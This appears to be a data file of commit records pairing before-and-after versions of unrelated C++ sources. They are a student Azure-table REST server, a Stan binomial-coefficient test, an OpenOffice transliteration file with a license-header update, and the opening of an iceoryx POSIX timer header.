Top-level routine for processing all HTTP POST requests.\n *\/\nvoid handle_post(http_request message) {\n string path {uri::decode(message.relative_uri().path())};\n cout << endl << \"**** POST \" << path << endl;\n auto paths = uri::split_path(path);\n \/\/ Need at least an operation and a table name\n if (paths.size() < 2) {\n message.reply(status_codes::BadRequest);\n return;\n }\n\n string table_name {paths[1]};\n cloud_table table {table_cache.lookup_table(table_name)};\n\n \/\/ Create table (idempotent if table exists)\n if (paths[0] == create_table) {\n cout << \"Create \" << table_name << endl;\n bool created {table.create_if_not_exists()};\n cout << \"Administrative table URI \" << table.uri().primary_uri().to_string() << endl;\n if (created)\n message.reply(status_codes::Created);\n else\n message.reply(status_codes::Accepted);\n }\n else {\n message.reply(status_codes::BadRequest);\n }\n}\n\n\/*\n Top-level routine for processing all HTTP PUT requests.\n *\/\nvoid handle_put(http_request message) {\n string path {uri::decode(message.relative_uri().path())};\n cout << endl << \"**** PUT \" << path << endl;\n auto paths = uri::split_path(path);\n \/\/ Need at least an operation, table name, partition, and row\n if (paths.size() < 4) {\n message.reply(status_codes::BadRequest);\n return;\n }\n\n cloud_table table {table_cache.lookup_table(paths[1])};\n if ( ! table.exists()) {\n message.reply(status_codes::NotFound);\n return;\n }\n\n table_entity entity {paths[2], paths[3]};\n\n \/\/ Update entity\n if (paths[0] == update_entity) {\n cout << \"Update \" << entity.partition_key() << \" \/ \" << entity.row_key() << endl;\n table_entity::properties_type& properties = entity.properties();\n for (const auto v : get_json_body(message)) {\n properties[v.first] = entity_property {v.second};\n }\n\n table_operation operation {table_operation::insert_or_merge_entity(entity)};\n table_result op_result {table.execute(operation)};\n\n message.reply(status_codes::OK);\n }\n else {\n message.reply(status_codes::BadRequest);\n }\n}\n\n\/*\n Top-level routine for processing all HTTP DELETE requests.\n *\/\nvoid handle_delete(http_request message) {\n string path {uri::decode(message.relative_uri().path())};\n cout << endl << \"**** DELETE \" << path << endl;\n auto paths = uri::split_path(path);\n \/\/ Need at least an operation and table name\n if (paths.size() < 2) {\n\tmessage.reply(status_codes::BadRequest);\n\treturn;\n }\n\n string table_name {paths[1]};\n cloud_table table {table_cache.lookup_table(table_name)};\n\n \/\/ Delete table\n if (paths[0] == delete_table) {\n cout << \"Delete \" << table_name << endl;\n if ( ! table.exists()) {\n message.reply(status_codes::NotFound);\n }\n table.delete_table();\n table_cache.delete_entry(table_name);\n message.reply(status_codes::OK);\n }\n \/\/ Delete entity\n else if (paths[0] == delete_entity) {\n \/\/ For delete entity, also need partition and row\n if (paths.size() < 4) {\n\tmessage.reply(status_codes::BadRequest);\n\treturn;\n }\n table_entity entity {paths[2], paths[3]};\n cout << \"Delete \" << entity.partition_key() << \" \/ \" << entity.row_key()<< endl;\n\n table_operation operation {table_operation::delete_entity(entity)};\n table_result op_result {table.execute(operation)};\n\n int code {op_result.http_status_code()};\n if (code == status_codes::OK || \n\tcode == status_codes::NoContent)\n message.reply(status_codes::OK);\n else\n message.reply(code);\n }\n else {\n message.reply(status_codes::BadRequest);\n }\n}\n\n\/*\n Main server routine\n\n Install handlers for the HTTP requests and open the listener,\n which processes each request asynchronously.\n \n Wait for a carriage return, then shut the server down.\n *\/\nint main (int argc, char const * argv[]) {\n http_listener listener {def_url};\n listener.support(methods::GET, &handle_get);\n listener.support(methods::POST, &handle_post);\n listener.support(methods::PUT, &handle_put);\n listener.support(methods::DEL, &handle_delete);\n listener.open().wait(); \/\/ Wait for listener to complete starting\n\n cout << \"Enter carriage return to stop server.\" << endl;\n string line;\n getline(std::cin, line);\n\n \/\/ Shut it down\n listener.close().wait();\n cout << \"Closed\" << endl;\n}\n<commit_msg>get partition through specific enrties<commit_after>\/*\n Basic Server code for CMPT 276, Spring 2016.\n *\/\n\n#include <exception>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <unordered_map>\n#include <utility>\n#include <vector>\n#include <string>\n\n#include <cpprest\/base_uri.h>\n#include <cpprest\/http_listener.h>\n#include <cpprest\/json.h>\n\n#include <pplx\/pplxtasks.h>\n\n#include <was\/common.h>\n#include <was\/storage_account.h>\n#include <was\/table.h>\n\n#include \"TableCache.h\"\n#include \"config.h\"\n#include \"make_unique.h\"\n\n#include \"azure_keys.h\"\n\nusing azure::storage::cloud_storage_account;\nusing azure::storage::storage_credentials;\nusing azure::storage::storage_exception;\nusing azure::storage::cloud_table;\nusing azure::storage::cloud_table_client;\nusing azure::storage::edm_type;\nusing azure::storage::entity_property;\nusing azure::storage::table_entity;\nusing azure::storage::table_operation;\nusing azure::storage::table_query;\nusing azure::storage::table_query_iterator;\nusing azure::storage::table_result;\n\nusing pplx::extensibility::critical_section_t;\nusing pplx::extensibility::scoped_critical_section_t;\n\nusing std::cin;\nusing std::cout;\nusing std::endl;\nusing std::getline;\nusing std::make_pair;\nusing std::pair;\nusing std::string;\nusing std::unordered_map;\nusing std::vector;\n\nusing web::http::http_headers;\nusing web::http::http_request;\nusing web::http::methods;\nusing web::http::status_codes;\nusing web::http::uri;\n\nusing web::json::value;\n\nusing web::http::experimental::listener::http_listener;\n\nusing prop_vals_t = vector<pair<string,value>>;\n\nconstexpr const char* def_url = \"http:\/\/localhost:34568\";\n\nconst string create_table {\"CreateTable\"};\nconst string delete_table {\"DeleteTable\"};\nconst string update_entity {\"UpdateEntity\"};\nconst string delete_entity {\"DeleteEntity\"};\n\n\/*\n Cache of opened tables\n *\/\nTableCache table_cache {storage_connection_string};\n\n\/*\n Convert properties represented in Azure Storage type\n to prop_vals_t type.\n *\/\nprop_vals_t get_properties (const table_entity::properties_type& properties, prop_vals_t values = prop_vals_t {}) {\n for (const auto v : properties) {\n if (v.second.property_type() == edm_type::string) {\n values.push_back(make_pair(v.first, value::string(v.second.string_value())));\n }\n else if (v.second.property_type() == edm_type::datetime) {\n values.push_back(make_pair(v.first, value::string(v.second.str())));\n }\n else if(v.second.property_type() == edm_type::int32) {\n values.push_back(make_pair(v.first, value::number(v.second.int32_value()))); \n }\n else if(v.second.property_type() == edm_type::int64) {\n values.push_back(make_pair(v.first, value::number(v.second.int64_value()))); \n }\n else if(v.second.property_type() == edm_type::double_floating_point) {\n values.push_back(make_pair(v.first, value::number(v.second.double_value()))); \n }\n else if(v.second.property_type() == edm_type::boolean) {\n values.push_back(make_pair(v.first, value::boolean(v.second.boolean_value()))); \n }\n else {\n values.push_back(make_pair(v.first, value::string(v.second.str())));\n }\n }\n return values;\n}\n\n\/*\n Given an HTTP message with a JSON body, return the JSON\n body as an unordered map of strings to strings.\n\n Note that all types of JSON values are returned as strings.\n Use C++ conversion utilities to convert to numbers or dates\n as necessary.\n *\/\nunordered_map<string,string> get_json_body(http_request message) { \n unordered_map<string,string> results {};\n const http_headers& headers {message.headers()};\n auto content_type (headers.find(\"Content-Type\"));\n if (content_type == headers.end() ||\n content_type->second != \"application\/json\")\n return results;\n\n value json{};\n message.extract_json(true)\n .then([&json](value v) -> bool\n\t {\n json = v;\n\t return true;\n\t })\n .wait();\n\n if (json.is_object()) {\n for (const auto& v : json.as_object()) {\n if (v.second.is_string()) {\n\tresults[v.first] = v.second.as_string();\n }\n else {\n\tresults[v.first] = v.second.serialize();\n }\n }\n }\n return results;\n}\n\n\/*\n Top-level routine for processing all HTTP GET requests.\n\n GET is the only request that has no command. All\n operands specify the value(s) to be retrieved.\n *\/\nvoid handle_get(http_request message) { \n string path {uri::decode(message.relative_uri().path())};\n cout << endl << \"**** GET \" << path << endl;\n auto paths = uri::split_path(path);\n \/\/ Need at least a table name\n if (paths.size() < 1) {\n message.reply(status_codes::BadRequest);\n return;\n }\n\n cloud_table table {table_cache.lookup_table(paths[0])};\n if ( ! table.exists()) {\n message.reply(status_codes::NotFound);\n return;\n }\n\n \/\/ GET all entries in table\n if (paths.size() == 1) {\n table_query query {};\n table_query_iterator end;\n table_query_iterator it = table.execute_query(query);\n vector<value> key_vec;\n while (it != end) {\n cout << \"Key: \" << it->partition_key() << \" \/ \" << it->row_key() << endl;\n prop_vals_t keys {\n\tmake_pair(\"Partition\",value::string(it->partition_key())),\n\tmake_pair(\"Row\", value::string(it->row_key()))};\n keys = get_properties(it->properties(), keys);\n key_vec.push_back(value::object(keys));\n ++it;\n }\n message.reply(status_codes::OK, value::array(key_vec));\n return;\n }\n\n \/\/ GET specific entry: Partition == paths[1], Row == paths[2]\n table_operation retrieve_operation {table_operation::retrieve_entity(paths[1], paths[2])};\n table_result retrieve_result {table.execute(retrieve_operation)};\n cout << \"HTTP code: \" << retrieve_result.http_status_code() << endl;\n if (retrieve_result.http_status_code() == status_codes::NotFound) { \/\/ if the table does not exist\n message.reply(status_codes::NotFound);\n return;\n }\n\n table_entity entity {retrieve_result.entity()};\n table_entity::properties_type properties {entity.properties()};\n\n unordered_map<string,string> json_body {get_json_body (message)};\n\n if (json_body.size () > 0) { \/\/ There was a body\n std::vector<string> nameList;\n for (const auto v : json_body) { \/\/ for every pair in json_body (unordered map)\n \/\/ v is a pair<string,string> representing a property in the JSON object \n if(v.second == \"*\"){\n nameList.push_back(v.first);\n }\n }\n \/\/ Do other things for the case where the message had a body\n \/\/ creates query\n table_query query {}; \n table_query_iterator end;\n\n \/*\n access_condition exisiting = azure::storage::access_condition();\n for(int i = 0 ; i < nameList.size() ; i++){\n \/\/ Construct the query operation for all entities that fit the name\n\n static const utility::string_t addition = azure::storage::table_query::generate_filter_condition ( \"RowKey\",\n azure::storage::query_comparison_operator::equal, , nameList[i]); \n\n query.set_filter_string(query.combine_filter_conditions (exisiting, \n static const utility::string_t azure::storage::query_logical_operator::op_and, addition));\n }*\/\n\n \/\/ Execute Query\n table_query_iterator it = table.execute_query(query);\n vector<value> key_vec;\n while (it != end) {\n cout << \"Key: \" << it->partition_key() << endl;\n prop_vals_t keys {\n make_pair(\"Partition\",value::string(it->partition_key()))};\n keys = get_properties(it->properties(), keys);\n key_vec.push_back(value::object(keys));\n ++it;\n } \n }\n \n \/\/ If the entity has any properties, return them as JSON\n prop_vals_t values (get_properties(properties));\n if (values.size() > 0)\n message.reply(status_codes::OK, value::object(values));\n else\n message.reply(status_codes::OK);\n}\n\n\/*\n Top-level routine for processing all HTTP POST requests.\n *\/\nvoid handle_post(http_request message) {\n string path {uri::decode(message.relative_uri().path())};\n cout << endl << \"**** POST \" << path << endl;\n auto paths = uri::split_path(path);\n \/\/ Need at least an operation and a table name\n if (paths.size() < 2) {\n message.reply(status_codes::BadRequest);\n return;\n }\n\n string table_name {paths[1]};\n cloud_table table {table_cache.lookup_table(table_name)};\n\n \/\/ Create table (idempotent if table exists)\n if (paths[0] == create_table) {\n cout << \"Create \" << table_name << endl;\n bool created {table.create_if_not_exists()};\n cout << \"Administrative table URI \" << table.uri().primary_uri().to_string() << endl;\n if (created)\n message.reply(status_codes::Created);\n else\n message.reply(status_codes::Accepted);\n }\n else {\n message.reply(status_codes::BadRequest);\n }\n}\n\n\/*\n Top-level routine for processing all HTTP PUT requests.\n *\/\nvoid handle_put(http_request message) {\n string path {uri::decode(message.relative_uri().path())};\n cout << endl << \"**** PUT \" << path << endl;\n auto paths = uri::split_path(path);\n \/\/ Need at least an operation, table name, partition, and row\n if (paths.size() < 4) {\n message.reply(status_codes::BadRequest);\n return;\n }\n\n cloud_table table {table_cache.lookup_table(paths[1])};\n if ( ! table.exists()) {\n message.reply(status_codes::NotFound);\n return;\n }\n\n table_entity entity {paths[2], paths[3]}; \/\/ partition and row\n\n \/\/ Update entity\n if (paths[0] == update_entity) {\n cout << \"Update \" << entity.partition_key() << \" \/ \" << entity.row_key() << endl;\n table_entity::properties_type& properties = entity.properties();\n for (const auto v : get_json_body(message)) {\n properties[v.first] = entity_property {v.second};\n }\n\n table_operation operation {table_operation::insert_or_merge_entity(entity)};\n table_result op_result {table.execute(operation)};\n\n message.reply(status_codes::OK);\n }\n else {\n message.reply(status_codes::BadRequest);\n }\n}\n\n\/*\n Top-level routine for processing all HTTP DELETE requests.\n *\/\nvoid handle_delete(http_request message) {\n string path {uri::decode(message.relative_uri().path())};\n cout << endl << \"**** DELETE \" << path << endl;\n auto paths = uri::split_path(path);\n \/\/ Need at least an operation and table name\n if (paths.size() < 2) {\n\tmessage.reply(status_codes::BadRequest);\n\treturn;\n }\n\n string table_name {paths[1]};\n cloud_table table {table_cache.lookup_table(table_name)};\n\n \/\/ Delete table\n if (paths[0] == delete_table) {\n cout << \"Delete \" << table_name << endl;\n if ( ! table.exists()) {\n message.reply(status_codes::NotFound);\n }\n table.delete_table();\n table_cache.delete_entry(table_name);\n message.reply(status_codes::OK);\n }\n \/\/ Delete entity\n else if (paths[0] == delete_entity) {\n \/\/ For delete entity, also need partition and row\n if (paths.size() < 4) {\n\tmessage.reply(status_codes::BadRequest);\n\treturn;\n }\n table_entity entity {paths[2], paths[3]};\n cout << \"Delete \" << entity.partition_key() << \" \/ \" << entity.row_key()<< endl;\n\n table_operation operation {table_operation::delete_entity(entity)};\n table_result op_result {table.execute(operation)};\n\n int code {op_result.http_status_code()};\n if (code == status_codes::OK || \n\tcode == status_codes::NoContent)\n message.reply(status_codes::OK);\n else\n message.reply(code);\n }\n else {\n message.reply(status_codes::BadRequest);\n }\n}\n\n\/*\n Main server routine\n\n Install handlers for the HTTP requests and open the listener,\n which processes each request asynchronously.\n \n Wait for a carriage return, then shut the server down.\n *\/\nint main (int argc, char const * argv[]) {\n http_listener listener {def_url};\n listener.support(methods::GET, &handle_get);\n listener.support(methods::POST, &handle_post);\n listener.support(methods::PUT, &handle_put);\n listener.support(methods::DEL, &handle_delete);\n listener.open().wait(); \/\/ Wait for listener to complete starting\n\n cout << \"Enter carriage return to stop server.\" << endl;\n string line;\n getline(std::cin, line);\n\n \/\/ Shut it down\n listener.close().wait();\n cout << \"Closed\" << endl;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stan\/math\/prim\/scal.hpp>\n#include <boost\/math\/special_functions\/fpclassify.hpp>\n#include <gtest\/gtest.h>\n#include <limits>\n\ntemplate <typename T_N, typename T_n>\nvoid test_binom_coefficient(const T_N& N, const T_n& n) {\n using stan::math::binomial_coefficient_log;\n EXPECT_FLOAT_EQ(lgamma(N + 1) - lgamma(n + 1) - lgamma(N - n + 1),\n binomial_coefficient_log(N, n));\n}\n\nTEST(MathFunctions, binomial_coefficient_log) {\n using stan::math::binomial_coefficient_log;\n EXPECT_FLOAT_EQ(1.0, exp(binomial_coefficient_log(2.0, 2.0)));\n EXPECT_FLOAT_EQ(2.0, exp(binomial_coefficient_log(2.0, 1.0)));\n EXPECT_FLOAT_EQ(3.0, exp(binomial_coefficient_log(3.0, 1.0)));\n EXPECT_NEAR(3.0, exp(binomial_coefficient_log(3.0, 2.0)), 0.0001);\n\n EXPECT_FLOAT_EQ(29979.16, binomial_coefficient_log(100000, 91116));\n\n for (int n = 0; n < 1010; ++n) {\n test_binom_coefficient(1010, n);\n test_binom_coefficient(1010.0, n);\n test_binom_coefficient(1010, static_cast<double>(n));\n test_binom_coefficient(1010.0, static_cast<double>(n));\n }\n\n test_binom_coefficient(1e9, 1e5);\n \/\/ this overflows with boost lgamma and results in NaN comparisons\n \/\/ TODO(SW): investigate\n \/\/ test_binom_coefficient(1e50, 1e45);\n}\n\nTEST(MathFunctions, binomial_coefficient_log_nan) {\n double nan = std::numeric_limits<double>::quiet_NaN();\n\n EXPECT_PRED1(boost::math::isnan<double>,\n stan::math::binomial_coefficient_log(2.0, nan));\n EXPECT_PRED1(boost::math::isnan<double>,\n stan::math::binomial_coefficient_log(nan, 2.0));\n EXPECT_PRED1(boost::math::isnan<double>,\n stan::math::binomial_coefficient_log(nan, nan));\n}\n<commit_msg>reenable large number test for binomial_coefficient_log_test<commit_after>#include <stan\/math\/prim\/scal.hpp>\n#include <boost\/math\/special_functions\/fpclassify.hpp>\n#include <gtest\/gtest.h>\n#include <limits>\n#include <cmath>\n\ntemplate <typename T_N, typename T_n>\nvoid test_binom_coefficient(const T_N& N, const T_n& n) {\n using stan::math::binomial_coefficient_log;\n EXPECT_FLOAT_EQ(lgamma(N + 1) - lgamma(n + 1) - lgamma(N - n + 1),\n binomial_coefficient_log(N, n));\n}\n\nTEST(MathFunctions, binomial_coefficient_log) {\n using stan::math::binomial_coefficient_log;\n EXPECT_FLOAT_EQ(1.0, exp(binomial_coefficient_log(2.0, 2.0)));\n EXPECT_FLOAT_EQ(2.0, exp(binomial_coefficient_log(2.0, 1.0)));\n EXPECT_FLOAT_EQ(3.0, exp(binomial_coefficient_log(3.0, 1.0)));\n EXPECT_NEAR(3.0, exp(binomial_coefficient_log(3.0, 2.0)), 0.0001);\n\n EXPECT_FLOAT_EQ(29979.16, binomial_coefficient_log(100000, 91116));\n\n for (int n = 0; n < 1010; ++n) {\n test_binom_coefficient(1010, n);\n test_binom_coefficient(1010.0, n);\n test_binom_coefficient(1010, static_cast<double>(n));\n test_binom_coefficient(1010.0, static_cast<double>(n));\n }\n\n test_binom_coefficient(1e9, 1e5);\n\n \/\/ NOTE(SW): 2019-05-31 replaced large number test as\n \/\/ this overflows with boost lgamma and results in NaN comparisons\n \/\/ which always fail\n \/\/ test_binom_coefficient(1e50, 1e45);\n \/\/ 1E25 seems the largest number for lgamma from boost to handle\n test_binom_coefficient(1e25, 1e20);\n}\n\nTEST(MathFunctions, binomial_coefficient_log_nan) {\n double nan = std::numeric_limits<double>::quiet_NaN();\n\n EXPECT_PRED1(boost::math::isnan<double>,\n stan::math::binomial_coefficient_log(2.0, nan));\n EXPECT_PRED1(boost::math::isnan<double>,\n stan::math::binomial_coefficient_log(nan, 2.0));\n EXPECT_PRED1(boost::math::isnan<double>,\n stan::math::binomial_coefficient_log(nan, nan));\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: transliteration_Numeric.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: obo $ $Date: 2006-09-17 09:32:20 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_i18npool.hxx\"\n\n#include <transliteration_Numeric.hxx>\n#include <nativenumbersupplier.hxx>\n#include <defaultnumberingprovider.hxx>\n\nusing namespace com::sun::star::uno;\nusing namespace rtl;\n\nnamespace com { namespace sun { namespace star { namespace i18n {\n\nsal_Int16 SAL_CALL transliteration_Numeric::getType() throw(RuntimeException)\n{\n return TransliterationType::NUMERIC;\n}\n\nOUString SAL_CALL\ntransliteration_Numeric::folding( const OUString& \/*inStr*\/, sal_Int32 \/*startPos*\/, sal_Int32 \/*nCount*\/, Sequence< sal_Int32 >& \/*offset*\/ )\n throw(RuntimeException)\n{\n throw (new RuntimeException());\n}\n\nsal_Bool SAL_CALL\ntransliteration_Numeric::equals( const OUString& \/*str1*\/, sal_Int32 \/*pos1*\/, sal_Int32 \/*nCount1*\/, sal_Int32& \/*nMatch1*\/, const OUString& \/*str2*\/, sal_Int32 \/*pos2*\/, sal_Int32 \/*nCount2*\/, sal_Int32& \/*nMatch2*\/ )\n throw(RuntimeException)\n{\n throw (new RuntimeException());\n}\n\nSequence< OUString > SAL_CALL\ntransliteration_Numeric::transliterateRange( const OUString& \/*str1*\/, const OUString& \/*str2*\/ )\n throw(RuntimeException)\n{\n throw (new RuntimeException());\n}\n\n\n#define isNumber(c) ((c) >= 0x30 && (c) <= 0x39)\n#define NUMBER_ZERO 0x30\n\nOUString SAL_CALL\ntransliteration_Numeric::transliterateBullet( const OUString& inStr, sal_Int32 startPos, sal_Int32 nCount,\n Sequence< sal_Int32 >& offset ) throw(RuntimeException)\n{\n sal_Int32 number = -1, j = 0, endPos = startPos + nCount;\n\n if (endPos > inStr.getLength())\n endPos = inStr.getLength();\n\n rtl_uString* pStr = x_rtl_uString_new_WithLength( nCount, 1 ); \/\/ our x_rtl_ustring.h\n sal_Unicode* out = pStr->buffer;\n\n if (useOffset)\n offset.realloc(nCount);\n\n for (sal_Int32 i = startPos; i < endPos; i++) {\n if (i < endPos && isNumber(inStr[i])) {\n if (number == -1) {\n startPos = i;\n number = (inStr[i] - NUMBER_ZERO);\n } else {\n number = number * 10 + (inStr[i] - NUMBER_ZERO);\n }\n } else {\n if (number == 0) {\n if (useOffset)\n offset[j] = startPos;\n out[j++] = NUMBER_ZERO;\n } if (number > tableSize && !recycleSymbol) {\n for (sal_Int32 k = startPos; k < i; k++) {\n if (useOffset)\n offset[j] = k;\n out[j++] = inStr[k];\n }\n } else if (number > 0) {\n if (useOffset)\n offset[j] = startPos;\n out[j++] = table[--number % tableSize];\n } else if (i < endPos) {\n if (useOffset)\n offset[j] = i;\n out[j++] = inStr[i];\n }\n number = -1;\n }\n }\n out[j] = 0;\n\n if (useOffset)\n offset.realloc(j);\n\n return OUString( pStr, SAL_NO_ACQUIRE );\n}\n\nOUString SAL_CALL\ntransliteration_Numeric::transliterate( const OUString& inStr, sal_Int32 startPos, sal_Int32 nCount,\n Sequence< sal_Int32 >& offset ) throw(RuntimeException)\n{\n if (tableSize)\n return transliterateBullet( inStr, startPos, nCount, offset);\n else\n return NativeNumberSupplier(useOffset).getNativeNumberString( inStr.copy(startPos, nCount), aLocale, nNativeNumberMode, offset );\n}\n\nsal_Unicode SAL_CALL\ntransliteration_Numeric::transliterateChar2Char( sal_Unicode inChar ) throw(RuntimeException, MultipleCharsOutputException)\n{\n if (tableSize) {\n if (isNumber(inChar)) {\n sal_Int16 number = inChar - NUMBER_ZERO;\n if (number <= tableSize || recycleSymbol)\n return table[--number % tableSize];\n }\n return inChar;\n }\n else\n return NativeNumberSupplier().getNativeNumberChar( inChar, aLocale, nNativeNumberMode );\n}\n\n} } } }\n<commit_msg>INTEGRATION: CWS changefileheader (1.7.138); FILE MERGED 2008\/03\/31 16:01:33 rt 1.7.138.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: transliteration_Numeric.cxx,v $\n * $Revision: 1.8 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_i18npool.hxx\"\n\n#include <transliteration_Numeric.hxx>\n#include <nativenumbersupplier.hxx>\n#include <defaultnumberingprovider.hxx>\n\nusing namespace com::sun::star::uno;\nusing namespace rtl;\n\nnamespace com { namespace sun { namespace star { namespace i18n {\n\nsal_Int16 SAL_CALL transliteration_Numeric::getType() throw(RuntimeException)\n{\n return TransliterationType::NUMERIC;\n}\n\nOUString SAL_CALL\ntransliteration_Numeric::folding( const OUString& \/*inStr*\/, sal_Int32 \/*startPos*\/, sal_Int32 \/*nCount*\/, Sequence< sal_Int32 >& \/*offset*\/ )\n throw(RuntimeException)\n{\n throw (new RuntimeException());\n}\n\nsal_Bool SAL_CALL\ntransliteration_Numeric::equals( const OUString& \/*str1*\/, sal_Int32 \/*pos1*\/, sal_Int32 \/*nCount1*\/, sal_Int32& \/*nMatch1*\/, const OUString& \/*str2*\/, sal_Int32 \/*pos2*\/, sal_Int32 \/*nCount2*\/, sal_Int32& \/*nMatch2*\/ )\n throw(RuntimeException)\n{\n throw (new RuntimeException());\n}\n\nSequence< OUString > SAL_CALL\ntransliteration_Numeric::transliterateRange( const OUString& \/*str1*\/, const OUString& \/*str2*\/ )\n throw(RuntimeException)\n{\n throw (new RuntimeException());\n}\n\n\n#define isNumber(c) ((c) >= 0x30 && (c) <= 0x39)\n#define NUMBER_ZERO 0x30\n\nOUString SAL_CALL\ntransliteration_Numeric::transliterateBullet( const OUString& inStr, sal_Int32 startPos, sal_Int32 nCount,\n Sequence< sal_Int32 >& offset ) throw(RuntimeException)\n{\n sal_Int32 number = -1, j = 0, endPos = startPos + nCount;\n\n if (endPos > inStr.getLength())\n endPos = inStr.getLength();\n\n rtl_uString* pStr = x_rtl_uString_new_WithLength( nCount, 1 ); \/\/ our x_rtl_ustring.h\n sal_Unicode* out = pStr->buffer;\n\n if (useOffset)\n offset.realloc(nCount);\n\n for (sal_Int32 i = startPos; i < endPos; i++) {\n if (i < endPos && isNumber(inStr[i])) {\n if (number == -1) {\n startPos = i;\n number = (inStr[i] - NUMBER_ZERO);\n } else {\n number = number * 10 + (inStr[i] - NUMBER_ZERO);\n }\n } else {\n if (number == 0) {\n if (useOffset)\n offset[j] = startPos;\n out[j++] = NUMBER_ZERO;\n } if (number > tableSize && !recycleSymbol) {\n for (sal_Int32 k = startPos; k < i; k++) {\n if (useOffset)\n offset[j] = k;\n out[j++] = inStr[k];\n }\n } else if (number > 0) {\n if (useOffset)\n offset[j] = startPos;\n out[j++] = table[--number % tableSize];\n } else if (i < endPos) {\n if (useOffset)\n offset[j] = i;\n out[j++] = inStr[i];\n }\n number = -1;\n }\n }\n out[j] = 0;\n\n if (useOffset)\n offset.realloc(j);\n\n return OUString( pStr, SAL_NO_ACQUIRE );\n}\n\nOUString SAL_CALL\ntransliteration_Numeric::transliterate( const OUString& inStr, sal_Int32 startPos, sal_Int32 nCount,\n Sequence< sal_Int32 >& offset ) throw(RuntimeException)\n{\n if (tableSize)\n return transliterateBullet( inStr, startPos, nCount, offset);\n else\n return NativeNumberSupplier(useOffset).getNativeNumberString( inStr.copy(startPos, nCount), aLocale, nNativeNumberMode, offset );\n}\n\nsal_Unicode SAL_CALL\ntransliteration_Numeric::transliterateChar2Char( sal_Unicode inChar ) throw(RuntimeException, MultipleCharsOutputException)\n{\n if (tableSize) {\n if (isNumber(inChar)) {\n sal_Int16 number = inChar - NUMBER_ZERO;\n if (number <= tableSize || recycleSymbol)\n return table[--number % tableSize];\n }\n return inChar;\n }\n else\n return NativeNumberSupplier().getNativeNumberChar( inChar, aLocale, nNativeNumberMode );\n}\n\n} } } }\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2019 by Robert Bosch GmbH. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include \"iceoryx_utils\/cxx\/optional.hpp\"\n#include \"iceoryx_utils\/cxx\/vector.hpp\"\n#include \"iceoryx_utils\/design_pattern\/creation.hpp\"\n#include \"iceoryx_utils\/internal\/units\/duration.hpp\"\n\n#include <atomic>\n#include <condition_variable>\n#include <cstdint>\n#include <limits>\n#include <signal.h>\n#include <sys\/time.h>\n#include <time.h>\n\nnamespace iox\n{\nnamespace posix\n{\nenum class TimerError\n{\n NO_ERROR,\n TIMER_NOT_INITIALIZED,\n NO_VALID_CALLBACK,\n KERNEL_ALLOC_FAILED,\n INVALID_ARGUMENTS,\n ALLOC_MEM_FAILED,\n NO_PERMISSION,\n INVALID_POINTER,\n NO_TIMER_TO_DELETE,\n INTERNAL_LOGIC_ERROR\n};\n\nusing namespace iox::units::duration_literals;\n\n\n\/\/\/ @brief Interface for timers on POSIX operating systems\n\/\/\/ @note Can't be copied or moved as operating system has a pointer to this object. It needs to be ensured that this\n\/\/\/ object lives longer than timeToWait, otherwise the operating system will unregister the timer\n\/\/\/ @concurrent not thread safe\n\/\/\/\n\/\/\/ @code\n\/\/\/ posix::Timer& TiborTheTimer = posix::Timer::getInstance(100_ms, [&]() { fooBar++; });\n\/\/\/\n\/\/\/ \/\/ Start a periodic timer\n\/\/\/ TiborTheTimer.start(true);\n\/\/\/ \/\/ [.. wait ..]\n\/\/\/ \/\/ Timer fires after 100_ms and calls the lambda which increments fooBar\n\/\/\/\n\/\/\/ TiborTheTimer.stop();\n\/\/\/\n\/\/\/ @endcode\nclass Timer\n{\n public:\n enum class RunMode\n {\n ONCE,\n PERIODIC\n };\n\n private:\n static constexpr size_t SIZE_OF_COMBINDED_INDEX_AND_DESCRIPTOR = sizeof(uint32_t);\n static constexpr size_t SIZE_OF_SIGVAL_INT = sizeof(int);\n 